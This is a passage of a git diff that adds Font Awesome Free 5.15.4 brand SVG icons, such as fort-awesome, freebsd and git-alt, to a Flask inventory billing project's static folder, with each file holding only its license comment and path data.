.9 2 1.4 3 .3.7.6 1.3.9 2 .5 1 1 2.1 1.5 3.1.2.6.5 1.1.8 1.7.6 1.1 1.1 2.2 1.7 3.3.1.2.2.3.3.5 2.2 4.1 4.4 8.2 6.8 12.2.2.4.5.8.7 1.2.7 1.1 1.3 2.2 2 3.3.3.5.6.9.9 1.4.6 1.1 1.3 2.1 2 3.2.3.5.6.9.9 1.4.7 1.1 1.4 2.1 2.1 3.2.2.4.5.8.8 1.2.7 1.1 1.5 2.2 2.3 3.3.2.2.3.5.5.7 37.5 51.7 94.4 88.5 160 99.4.9.1 1.7.3 2.6.4 1 .2 2.1.4 3.1.5s1.9.3 2.8.4c1 .2 2 .3 3 .4.9.1 1.9.2 2.9.3s1.9.2 2.9.3 2.1.2 3.1.3c.9.1 1.8.1 2.7.2 1.1.1 2.3.1 3.4.2.8 0 1.7.1 2.5.1 1.3 0 2.6.1 3.9.1.7.1 1.4.1 2.1.1 2 .1 4 .1 6 .1s4-.1 6-.1c.7 0 1.4-.1 2.1-.1 1.3 0 2.6 0 3.9-.1.8 0 1.7-.1 2.5-.1 1.1-.1 2.3-.1 3.4-.2.9 0 1.8-.1 2.7-.2 1-.1 2.1-.2 3.1-.3s1.9-.2 2.9-.3c.9-.1 1.9-.2 2.9-.3s2-.3 3-.4 1.9-.3 2.8-.4c1-.2 2.1-.3 3.1-.5.9-.1 1.7-.3 2.6-.4 65.6-11 122.5-47.7 160.1-102.4.2-.2.3-.5.5-.7.8-1.1 1.5-2.2 2.3-3.3.2-.4.5-.8.8-1.2.7-1.1 1.4-2.1 2.1-3.2.3-.5.6-.9.9-1.4.6-1.1 1.3-2.1 2-3.2.3-.5.6-.9.9-1.4.7-1.1 1.3-2.2 2-3.3.2-.4.5-.8.7-1.2 2.4-4 4.6-8.1 6.8-12.2.1-.2.2-.3.3-.5.6-1.1 1.1-2.2 1.7-3.3.2-.6.5-1.1.8-1.7.5-1 1-2.1 1.5-3.1.3-.7.6-1.3.9-2 .5-1 1-2 1.4-3l.9-2.1c.5-1 .9-2 1.3-3 .3-.7.6-1.5.9-2.2l1.2-3c.3-.8.6-1.5.9-2.3.4-1 .7-2 1.1-3s.7-1.9 1-2.8c.6-1.6 1.2-3.3 1.7-4.9.3-1 .6-1.9.9-2.8s.5-1.8.8-2.7c.2-.9.5-1.9.8-2.8s.6-1.8.8-2.7c.3-1 .5-1.9.8-2.9.2-.9.5-1.8.7-2.7.2-1 .5-2 .7-3 .2-.9.4-1.7.6-2.6.2-1 .5-2.1.7-3.2.2-.8.3-1.6.5-2.4.3-1.3.6-2.7.8-4 .1-.6.2-1.1.3-1.7l.9-5.7c.1-.6.2-1.3.3-1.9.1-1.3.3-2.6.5-3.9.1-.8.2-1.5.3-2.3.1-1.2.3-2.4.4-3.6 0-.8.1-1.6.2-2.4.1-1.1.2-2.3.3-3.5.1-.8.1-1.6.2-2.4.1 1.7.1.5.2-.7 0-.8.1-1.5.1-2.3.1-1.3.2-2.7.2-4 .1-.7.1-1.3.1-2 .1-2 .1-4 .1-6 0-53.5-16.9-103-45.8-143.7zM448 371.5c-9.4 15.5-20.6 29.9-33.6 42.9-20.6 20.6-44.5 36.7-71.2 48-13.9 5.8-28.2 10.3-42.9 13.2v-75.8c0-58.6-88.6-58.6-88.6 0v75.8c-14.7-2.9-29-7.3-42.9-13.2-26.7-11.3-50.6-27.4-71.2-48-13-13-24.2-27.4-33.6-42.9v-71.3c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7V326h29.6V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7H208c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-4.8 6.5-3.7 9.5-3.7V88.1c-4.4-2-7.4-6.7-7.4-11.5 0-16.8 25.4-16.8 25.4 0 0 4.8-3 9.4-7.4 11.5V92c6.3-1.4 12.7-2.3 19.2-2.3 9.4 0 18.4 3.5 26.3 3.5 7.2 0 15.2-3.5 19.4-3.5 2.1 0 3.7 1.6 3.7 3.7v48.4c0 5.6-18.7 6.5-22.4 6.5-8.6 0-16.6-3.5-25.4-3.5-7 0-14.1 1.2-20.8 2.8v30.7c3 0 9.5-1.1 9.5 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v144h29.5v-25.8c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fort-awesome.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fort-awesome.svg new file mode 100644 index 00000000..82a9e148 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fort-awesome.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M489.2 287.9h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6V146.2c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-6-8-4.6-11.7-4.6v-38c8.3-2 17.1-3.4 25.7-3.4 10.9 0 20.9 4.3 31.4 4.3 4.6 0 27.7-1.1 27.7-8v-60c0-2.6-2-4.6-4.6-4.6-5.1 0-15.1 4.3-24 4.3-9.7 0-20.9-4.3-32.6-4.3-8 0-16 1.1-23.7 2.9v-4.9c5.4-2.6 9.1-8.3 9.1-14.3 0-20.7-31.4-20.8-31.4 0 0 6 3.7 11.7 9.1 14.3v111.7c-3.7 0-11.7-1.4-11.7 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32H128v-32c0-2.6-2-4.6-4.6-4.6H96c-2.6 0-4.6 2-4.6 4.6v178.3H54.8v-32c0-2.6-2-4.6-4.6-4.6H22.8c-2.6 0-4.6 2-4.6 4.6V512h182.9v-96c0-72.6 109.7-72.6 109.7 0v96h182.9V292.5c.1-2.6-1.9-4.6-4.5-4.6zm-288.1-4.5c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64zm146.4 0c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/forumbee.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/forumbee.svg new file mode 100644 index 00000000..d64ccec4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/forumbee.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M5.8 309.7C2 292.7 0 275.5 0 258.3 0 135 99.8 35 223.1 35c16.6 0 33.3 2 49.3 5.5C149 87.5 51.9 186 5.8 309.7zm392.9-189.2C385 103 369 87.8 350.9 75.2c-149.6 44.3-266.3 162.1-309.7 312 12.5 18.1 28 35.6 45.2 49 43.1-151.3 161.2-271.7 312.3-315.7zm15.8 252.7c15.2-25.1 25.4-53.7 29.5-82.8-79.4 42.9-145 110.6-187.6 190.3 30-4.4 58.9-15.3 84.6-31.3 35 13.1 70.9 24.3 107 33.6-9.3-36.5-20.4-74.5-33.5-109.8zm29.7-145.5c-2.6-19.5-7.9-38.7-15.8-56.8C290.5 216.7 182 327.5 137.1 466c18.1 7.6 37 12.5 56.6 15.2C240 367.1 330.5 274.4 444.2 227.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/foursquare.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/foursquare.svg new file mode 100644 index 00000000..b73f4217 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/foursquare.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 368 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M323.1 3H49.9C12.4 3 0 31.3 0 49.1v433.8c0 20.3 12.1 27.7 18.2 30.1 6.2 2.5 22.8 4.6 32.9-7.1C180 356.5 182.2 354 182.2 354c3.1-3.4 3.4-3.1 6.8-3.1h83.4c35.1 0 40.6-25.2 44.3-39.7l48.6-243C373.8 25.8 363.1 3 323.1 3zm-16.3 73.8l-11.4 59.7c-1.2 6.5-9.5 13.2-16.9 13.2H172.1c-12 0-20.6 8.3-20.6 20.3v13c0 12 8.6 20.6 20.6 20.6h90.4c8.3 0 16.6 9.2 14.8 18.2-1.8 8.9-10.5 53.8-11.4 58.8-.9 4.9-6.8 13.5-16.9 13.5h-73.5c-13.5 0-17.2 1.8-26.5 12.6 0 0-8.9 11.4-89.5 108.3-.9.9-1.8.6-1.8-.3V75.9c0-7.7 6.8-16.6 16.6-16.6h219c8.2 0 15.6 7.7 13.5 17.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/free-code-camp.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/free-code-camp.svg new file mode 100644 index 00000000..7e87ae50 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/free-code-camp.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M97.22,96.21c10.36-10.65,16-17.12,16-21.9,0-2.76-1.92-5.51-3.83-7.42A14.81,14.81,0,0,0,101,64.05c-8.48,0-20.92,8.79-35.84,25.69C23.68,137,2.51,182.81,3.37,250.34s17.47,117,54.06,161.87C76.22,435.86,90.62,448,100.9,448a13.55,13.55,0,0,0,8.37-3.84c1.91-2.76,3.81-5.63,3.81-8.38,0-5.63-3.86-12.2-13.2-20.55-44.45-42.33-67.32-97-67.48-165C32.25,188.8,54,137.83,97.22,96.21ZM239.47,420.07c.58.37.91.55.91.55Zm93.79.55.17-.13C333.24,420.62,333.17,420.67,333.26,420.62Zm3.13-158.18c-16.24-4.15,50.41-82.89-68.05-177.17,0,0,15.54,49.38-62.83,159.57-74.27,104.35,23.46,168.73,34,175.23-6.73-4.35-47.4-35.7,9.55-128.64,11-18.3,25.53-34.87,43.5-72.16,0,0,15.91,22.45,7.6,71.13C287.7,364,354,342.91,355,343.94c22.75,26.78-17.72,73.51-21.58,76.55,5.49-3.65,117.71-78,33-188.1C360.43,238.4,352.62,266.59,336.39,262.44ZM510.88,89.69C496,72.79,483.52,64,475,64a14.81,14.81,0,0,0-8.39,2.84c-1.91,1.91-3.83,4.66-3.83,7.42,0,4.78,5.6,11.26,16,21.9,43.23,41.61,65,92.59,64.82,154.06-.16,68-23,122.63-67.48,165-9.34,8.35-13.18,14.92-13.2,20.55,0,2.75,1.9,5.62,3.81,8.38A13.61,13.61,0,0,0,475.1,448c10.28,0,24.68-12.13,43.47-35.79,36.59-44.85,53.14-94.38,54.06-161.87S552.32,137,510.88,89.69Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/freebsd.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/freebsd.svg new file mode 100644 index 00000000..a0b512ba --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/freebsd.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M303.7 96.2c11.1-11.1 115.5-77 139.2-53.2 23.7 23.7-42.1 128.1-53.2 139.2-11.1 11.1-39.4.9-63.1-22.9-23.8-23.7-34.1-52-22.9-63.1zM109.9 68.1C73.6 47.5 22 24.6 5.6 41.1c-16.6 16.6 7.1 69.4 27.9 105.7 18.5-32.2 44.8-59.3 76.4-78.7zM406.7 174c3.3 11.3 2.7 20.7-2.7 26.1-20.3 20.3-87.5-27-109.3-70.1-18-32.3-11.1-53.4 14.9-48.7 5.7-3.6 12.3-7.6 19.6-11.6-29.8-15.5-63.6-24.3-99.5-24.3-119.1 0-215.6 96.5-215.6 215.6 0 119 96.5 215.6 215.6 215.6S445.3 380.1 445.3 261c0-38.4-10.1-74.5-27.7-105.8-3.9 7-7.6 13.3-10.9 18.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fulcrum.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fulcrum.svg new file mode 100644 index 00000000..859463f1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fulcrum.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M95.75 164.14l-35.38 43.55L25 164.14l35.38-43.55zM144.23 0l-20.54 198.18L72.72 256l51 57.82L144.23 512V300.89L103.15 256l41.08-44.89zm79.67 164.14l35.38 43.55 35.38-43.55-35.38-43.55zm-48.48 47L216.5 256l-41.08 44.89V512L196 313.82 247 256l-51-57.82L175.42 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/galactic-republic.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/galactic-republic.svg new file mode 100644 index 00000000..8d250ecd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/galactic-republic.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 504C111.25 504 0 392.75 0 256S111.25 8 248 8s248 111.25 248 248-111.25 248-248 248zm0-479.47C120.37 24.53 16.53 128.37 16.53 256S120.37 487.47 248 487.47 479.47 383.63 479.47 256 375.63 24.53 248 24.53zm27.62 21.81v24.62a185.933 185.933 0 0 1 83.57 34.54l17.39-17.36c-28.75-22.06-63.3-36.89-100.96-41.8zm-55.37.07c-37.64 4.94-72.16 19.8-100.88 41.85l17.28 17.36h.08c24.07-17.84 52.55-30.06 83.52-34.67V46.41zm12.25 50.17v82.87c-10.04 2.03-19.42 5.94-27.67 11.42l-58.62-58.59-21.93 21.93 58.67 58.67c-5.47 8.23-9.45 17.59-11.47 27.62h-82.9v31h82.9c2.02 10.02 6.01 19.31 11.47 27.54l-58.67 58.69 21.93 21.93 58.62-58.62a77.873 77.873 0 0 0 27.67 11.47v82.9h31v-82.9c10.05-2.03 19.37-6.06 27.62-11.55l58.67 58.69 21.93-21.93-58.67-58.69c5.46-8.23 9.47-17.52 11.5-27.54h82.87v-31h-82.87c-2.02-10.02-6.03-19.38-11.5-27.62l58.67-58.67-21.93-21.93-58.67 58.67c-8.25-5.49-17.57-9.47-27.62-11.5V96.58h-31zm183.24 30.72l-17.36 17.36a186.337 186.337 0 0 1 34.67 83.67h24.62c-4.95-37.69-19.83-72.29-41.93-101.03zm-335.55.13c-22.06 28.72-36.91 63.26-41.85 100.91h24.65c4.6-30.96 16.76-59.45 34.59-83.52l-17.39-17.39zM38.34 283.67c4.92 37.64 19.75 72.18 41.8 100.9l17.36-17.39c-17.81-24.07-29.92-52.57-34.51-83.52H38.34zm394.7 0c-4.61 30.99-16.8 59.5-34.67 83.6l17.36 17.36c22.08-28.74 36.98-63.29 41.93-100.96h-24.62zM136.66 406.38l-17.36 17.36c28.73 22.09 63.3 36.98 100.96 41.93v-24.64c-30.99-4.63-59.53-16.79-83.6-34.65zm222.53.05c-24.09 17.84-52.58 30.08-83.57 34.67v24.57c37.67-4.92 72.21-19.79 100.96-41.85l-17.31-17.39h-.08z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/galactic-senate.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/galactic-senate.svg new file mode 100644 index 00000000..cefebdfe --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/galactic-senate.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M249.86 33.48v26.07C236.28 80.17 226 168.14 225.39 274.9c11.74-15.62 19.13-33.33 19.13-48.24v-16.88c-.03-5.32.75-10.53 2.19-15.65.65-2.14 1.39-4.08 2.62-5.82 1.23-1.75 3.43-3.79 6.68-3.79 3.24 0 5.45 2.05 6.68 3.79 1.23 1.75 1.97 3.68 2.62 5.82 1.44 5.12 2.22 10.33 2.19 15.65v16.88c0 14.91 7.39 32.62 19.13 48.24-.63-106.76-10.91-194.73-24.49-215.35V33.48h-12.28zm-26.34 147.77c-9.52 2.15-18.7 5.19-27.46 9.08 8.9 16.12 9.76 32.64 1.71 37.29-8 4.62-21.85-4.23-31.36-19.82-11.58 8.79-21.88 19.32-30.56 31.09 14.73 9.62 22.89 22.92 18.32 30.66-4.54 7.7-20.03 7.14-35.47-.96-5.78 13.25-9.75 27.51-11.65 42.42 9.68.18 18.67 2.38 26.18 6.04 17.78-.3 32.77-1.96 40.49-4.22 5.55-26.35 23.02-48.23 46.32-59.51.73-25.55 1.88-49.67 3.48-72.07zm64.96 0c1.59 22.4 2.75 46.52 3.47 72.07 23.29 11.28 40.77 33.16 46.32 59.51 7.72 2.26 22.71 3.92 40.49 4.22 7.51-3.66 16.5-5.85 26.18-6.04-1.9-14.91-5.86-29.17-11.65-42.42-15.44 8.1-30.93 8.66-35.47.96-4.57-7.74 3.6-21.05 18.32-30.66-8.68-11.77-18.98-22.3-30.56-31.09-9.51 15.59-23.36 24.44-31.36 19.82-8.05-4.65-7.19-21.16 1.71-37.29a147.49 147.49 0 0 0-27.45-9.08zm-32.48 8.6c-3.23 0-5.86 8.81-6.09 19.93h-.05v16.88c0 41.42-49.01 95.04-93.49 95.04-52 0-122.75-1.45-156.37 29.17v2.51c9.42 17.12 20.58 33.17 33.18 47.97C45.7 380.26 84.77 360.4 141.2 360c45.68 1.02 79.03 20.33 90.76 40.87.01.01-.01.04 0 .05 7.67 2.14 15.85 3.23 24.04 3.21 8.19.02 16.37-1.07 24.04-3.21.01-.01-.01-.04 0-.05 11.74-20.54 45.08-39.85 90.76-40.87 56.43.39 95.49 20.26 108.02 41.35 12.6-14.8 23.76-30.86 33.18-47.97v-2.51c-33.61-30.62-104.37-29.17-156.37-29.17-44.48 0-93.49-53.62-93.49-95.04v-16.88h-.05c-.23-11.12-2.86-19.93-6.09-19.93zm0 96.59c22.42 0 40.6 18.18 40.6 40.6s-18.18 40.65-40.6 40.65-40.6-18.23-40.6-40.65c0-22.42 18.18-40.6 40.6-40.6zm0 7.64c-18.19 0-32.96 14.77-32.96 32.96S237.81 360 256 360s32.96-14.77 32.96-32.96-14.77-32.96-32.96-32.96zm0 6.14c14.81 0 26.82 12.01 26.82 26.82s-12.01 26.82-26.82 26.82-26.82-12.01-26.82-26.82 12.01-26.82 26.82-26.82zm-114.8 66.67c-10.19.07-21.6.36-30.5 1.66.43 4.42 1.51 18.63 7.11 29.76 9.11-2.56 18.36-3.9 27.62-3.9 41.28.94 71.48 34.35 78.26 74.47l.11 4.7c10.4 1.91 21.19 2.94 32.21 2.94 11.03 0 21.81-1.02 32.21-2.94l.11-4.7c6.78-40.12 36.98-73.53 78.26-74.47 9.26 0 18.51 1.34 27.62 3.9 5.6-11.13 6.68-25.34 7.11-29.76-8.9-1.3-20.32-1.58-30.5-1.66-18.76.42-35.19 4.17-48.61 9.67-12.54 16.03-29.16 30.03-49.58 33.07-.09.02-.17.04-.27.05-.05.01-.11.04-.16.05-5.24 1.07-10.63 1.6-16.19 1.6-5.55 0-10.95-.53-16.19-1.6-.05-.01-.11-.04-.16-.05-.1-.02-.17-.04-.27-.05-20.42-3.03-37.03-17.04-49.58-33.07-13.42-5.49-29.86-9.25-48.61-9.67z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/get-pocket.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/get-pocket.svg new file mode 100644 index 00000000..69246a00 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/get-pocket.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M407.6 64h-367C18.5 64 0 82.5 0 104.6v135.2C0 364.5 99.7 464 224.2 464c124 0 223.8-99.5 223.8-224.2V104.6c0-22.4-17.7-40.6-40.4-40.6zm-162 268.5c-12.4 11.8-31.4 11.1-42.4 0C89.5 223.6 88.3 227.4 88.3 209.3c0-16.9 13.8-30.7 30.7-30.7 17 0 16.1 3.8 105.2 89.3 90.6-86.9 88.6-89.3 105.5-89.3 16.9 0 30.7 13.8 30.7 30.7 0 17.8-2.9 15.7-114.8 123.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gg-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gg-circle.svg new file mode 100644 index 00000000..7ebe73bf --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gg-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M257 8C120 8 9 119 9 256s111 248 248 248 248-111 248-248S394 8 257 8zm-49.5 374.8L81.8 257.1l125.7-125.7 35.2 35.4-24.2 24.2-11.1-11.1-77.2 77.2 77.2 77.2 26.6-26.6-53.1-52.9 24.4-24.4 77.2 77.2-75 75.2zm99-2.2l-35.2-35.2 24.1-24.4 11.1 11.1 77.2-77.2-77.2-77.2-26.5 26.5 53.1 52.9-24.4 24.4-77.2-77.2 75-75L432.2 255 306.5 380.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gg.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gg.svg new file mode 100644 index 00000000..169a3cfb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gg.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M179.2 230.4l102.4 102.4-102.4 102.4L0 256 179.2 76.8l44.8 44.8-25.6 25.6-19.2-19.2-128 128 128 128 51.5-51.5-77.1-76.5 25.6-25.6zM332.8 76.8L230.4 179.2l102.4 102.4 25.6-25.6-77.1-76.5 51.5-51.5 128 128-128 128-19.2-19.2-25.6 25.6 44.8 44.8L512 256 332.8 76.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/git-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/git-alt.svg new file mode 100644 index 00000000..b2cfc0ef --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/git-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/git-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/git-square.svg new file mode 100644 index 00000000..9b053ca4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/git-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M100.59 334.24c48.57 3.31 58.95 2.11 58.95 11.94 0 20-65.55 20.06-65.55 1.52.01-5.09 3.29-9.4 6.6-13.46zm27.95-116.64c-32.29 0-33.75 44.47-.75 44.47 32.51 0 31.71-44.47.75-44.47zM448 80v352a48 48 0 0 1-48 48H48a48 48 0 0 1-48-48V80a48 48 0 0 1 48-48h352a48 48 0 0 1 48 48zm-227 69.31c0 14.49 8.38 22.88 22.86 22.88 14.74 0 23.13-8.39 23.13-22.88S258.62 127 243.88 127c-14.48 0-22.88 7.84-22.88 22.31zM199.18 195h-49.55c-25-6.55-81.56-4.85-81.56 46.75 0 18.8 9.4 32 21.85 38.11C74.23 294.23 66.8 301 66.8 310.6c0 6.87 2.79 13.22 11.18 16.76-8.9 8.4-14 14.48-14 25.92C64 373.35 81.53 385 127.52 385c44.22 0 69.87-16.51 69.87-45.73 0-36.67-28.23-35.32-94.77-39.38l8.38-13.43c17 4.74 74.19 6.23 74.19-42.43 0-11.69-4.83-19.82-9.4-25.67l23.38-1.78zm84.34 109.84l-13-1.78c-3.82-.51-4.07-1-4.07-5.09V192.52h-52.6l-2.79 20.57c15.75 5.55 17 4.86 17 10.17V298c0 5.62-.31 4.58-17 6.87v20.06h72.42zM384 315l-6.87-22.37c-40.93 15.37-37.85-12.41-37.85-16.73v-60.72h37.85v-25.41h-35.82c-2.87 0-2 2.52-2-38.63h-24.18c-2.79 27.7-11.68 38.88-34 41.42v22.62c20.47 0 19.82-.85 19.82 2.54v66.57c0 28.72 11.43 40.91 41.67 40.91 14.45 0 30.45-4.83 41.38-10.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/git.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/git.svg new file mode 100644 index 00000000..f77a6247 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/git.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M216.29 